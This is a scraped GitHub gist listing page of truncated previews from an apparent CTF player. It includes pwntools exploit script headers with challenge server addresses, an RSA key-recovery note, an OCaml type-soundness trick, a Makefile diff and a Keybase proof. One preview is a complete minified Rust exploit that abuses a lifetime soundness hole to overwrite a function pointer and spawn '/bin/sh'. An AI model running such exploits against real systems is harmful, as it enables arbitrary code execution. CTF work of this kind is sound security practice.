$ ed - 1 = k(p-1)(q-1) $ になるはずなので、pow(e, -1, (p-1)(q-1))
が計算できる
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division, print_function | |
import random | |
from pwn import * | |
import argparse | |
import time | |
host = "49.12.105.124" | |
port = 15010 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division, print_function | |
import random | |
from pwn import * | |
import argparse | |
import time | |
context.log_level = 'error' | |
parser = argparse.ArgumentParser() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division, print_function | |
import random | |
from pwn import * | |
import argparse | |
import time | |
context.log_level = 'error' | |
parser = argparse.ArgumentParser() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type t = A of int | B of (bytes) | |
type s = C of int | D of (string ) | |
type t2 = E of int | F of (int ref) | |
type s2 = G of int | H of (int -> string) | |
let s = "hogefugakasukasukasu" | |
let bye (x1, x2) y = | |
match (x1, x2) with | |
(false, _) -> "a" | |
| (_, {contents=G _}) -> "b" | |
| _ when (x2 := G y; false) -> "c" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division, print_function | |
import random | |
from pwn import * | |
import argparse | |
import time | |
context.log_level = 'error' | |
parser = argparse.ArgumentParser() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fn a(_:u64,_:u64){print!("{}",0x50f0000003bb8u64)}fn b(_:u64,_:u64){}fn h<'a,'b,T>(_:&'a&'b(),v:&'b mut[T])->&'a mut[T]{v}#[inline(never)]fn g<'a,T:Copy>(x:T)->&'a mut[T]{let f:fn(_,_)->_=h;print!("{:p}",&x);f(&&(),&mut[x;0x100])}pub fn main(){let x=g(0u64);let y=g(if x.as_ptr()as u64>>1>0{a}else{b});x[4]+=0x18f8;y[4]("/bin/sh\0".as_ptr()as _,0)} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/Makefile b/Makefile | |
index 805ad11..ca019d0 100644 | |
--- a/Makefile | |
+++ b/Makefile | |
@@ -39,13 +39,13 @@ revision.ml: $(FPAT_LIB) Makefile Makefile.config | |
@echo make revision.ml | |
@rm -f $@ | |
ifdef GIT | |
- @echo -n 'let mochi = Some ("' >> $@ | |
- @if [ $$(${GIT} diff | wc -w) != 0 ]; then echo -n _ >> $@; fi |
I hereby claim:
- I am moratorium08 on github.
- I am moratorium08 (https://keybase.io/moratorium08) on keybase.
- I have a public key whose fingerprint is D8E5 7135 F550 9BD5 1F8A 9908 FD75 EB84 E124 849A
To claim this, I am signing this object:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division, print_function | |
import random | |
from pwn import * | |
log = False | |
is_gaibu = True | |
if is_gaibu: | |
host = "34.85.75.40" | |
port = 30002 | |
else: |
NewerOlder